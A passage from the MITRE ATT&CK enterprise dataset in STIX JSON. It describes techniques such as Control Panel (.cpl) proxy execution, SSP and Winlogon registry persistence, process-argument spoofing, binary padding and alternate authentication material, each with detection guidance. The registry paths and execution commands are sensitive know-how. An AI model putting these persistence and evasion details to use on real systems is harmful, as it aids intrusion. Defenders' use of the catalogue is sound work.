                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring for systems listening and/or establishing external connections using ports/protocols commonly associated with tunneling, such as SSH (port 22). Also monitor for processes commonly associated with tunneling, such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f",
            "created": "2020-01-23T19:59:52.630Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/002",
                    "external_id": "T1218.002"
                },
                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "source_name": "TrendMicro CPL Malware Jan 2014",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "TrendMicro CPL Malware Dec 2013",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
                },
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:46:37.731Z",
            "name": "Control Panel",
            "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "ESET"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the control.exe and the <code>Control_RunDLL</code> and <code>ControlRunDLLAsUser</code> API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1218/011) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1218/011) command, which may bypass detections and/or execution filters for control.exe.(Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>CPLs</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE or HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>).(Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item.(Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques.(Citation: TrendMicro CPL Malware Jan 2014)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de",
            "created": "2020-10-19T16:48:08.241Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1599/001",
                    "external_id": "T1599.001"
                },
                {
                    "source_name": "RFC1918",
                    "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.",
                    "url": "https://tools.ietf.org/html/rfc1918"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:38.101Z",
            "name": "Network Address Translation Traversal",
            "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design.  In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring network traffic on both interfaces of border network devices.  Compare packets transmitted by the device between networks to look for signs of NAT being implemented.  Packets which have their IP addresses changed should still have the same size and contents in the data encapsulated beyond Layer 3.  In some cases, Port Address Translation (PAT) may also be used by an adversary.\n\nMonitor the border network device\u2019s configuration to determine if any unintended NAT rules have been added without authorization.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d",
            "created": "2021-03-17T20:31:07.828Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/002",
                    "external_id": "T1608.002"
                },
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                },
                {
                    "source_name": "Malwarebytes Heroku Skimmers",
                    "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
                },
                {
                    "source_name": "Dragos Heroku Watering Hole",
                    "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
                    "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
                },
                {
                    "source_name": "Intezer App Service Phishing",
                    "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:18:15.337Z",
            "name": "Upload Tool",
            "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
            "created": "2020-01-24T17:16:11.806Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1547/005",
                    "external_id": "T1547.005"
                },
                {
                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
                    "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
                },
                {
                    "source_name": "Microsoft Configure LSA",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.",
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:38.641Z",
            "name": "Security Support Provider",
            "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key <code>HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--514dc7b3-0b80-4382-80a9-2e2d294f5019",
            "created": "2025-03-27T20:37:52.269Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/011",
                    "external_id": "T1036.011"
                },
                {
                    "source_name": "Microsoft XorDdos Linux Stealth 2022",
                    "description": "Ratnesh Pandey, Yevgeny Kulakov, and Jonathan Bar Or with Saurabh Swaroop. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/"
                },
                {
                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
                    "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:30.391Z",
            "name": "Overwrite Process Arguments",
            "description": "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process\u2019s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges. \n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc/<PID>/cmdline` and displayed by tools like `ps`.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Metadata"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79",
            "created": "2017-05-31T21:30:20.148Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1004",
                    "external_id": "T1004"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/579.html",
                    "external_id": "CAPEC-579"
                },
                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:31.608Z",
            "name": "Winlogon Helper DLL",
            "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.",
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                    "phase_name": "persistence"
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            "x_mitre_contributors": [
                "Praetorian"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--519630c5-f03f-4882-825c-3af924935817",
            "created": "2017-05-31T21:30:22.096Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1009",
                    "external_id": "T1009"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/572.html",
                    "external_id": "CAPEC-572"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
                    "url": "https://www.virustotal.com/en/faq/"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "name": "Binary Padding",
            "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Martin Jirkal, ESET"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool. \n\nWhen executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "created": "2020-01-30T16:18:36.873Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1550",
                    "external_id": "T1550"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
                },
                {
                    "source_name": "NIST Authentication",
                    "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.",
                    "url": "https://csrc.nist.gov/glossary/term/authentication"
                },
                {
                    "source_name": "NIST MFA",
                    "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.",
                    "url": "https://csrc.nist.gov/glossary/term/multi_factor_authentication"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:30.693Z",
            "name": "Use Alternate Authentication Material",
            "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system\u2014either in memory or on disk\u2014it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Blake Strom, Microsoft Threat Intelligence",
                "Pawel Partyka, Microsoft Threat Intelligence"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "SaaS",
                "IaaS",
                "Containers",
                "Identity Provider",
                "Office Suite",
                "Linux"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Logon Session: Logon Session Creation",
                "Active Directory: Active Directory Credential Request",
                "Web Credential: Web Credential Usage",
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484",
            "created": "2017-05-31T21:30:59.769Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1076",
                    "external_id": "T1076"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html",
                    "external_id": "CAPEC-555"
                },
                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Alperovitch Malware",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
                },
                {
                    "source_name": "RDP Hijacking Korznikov",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
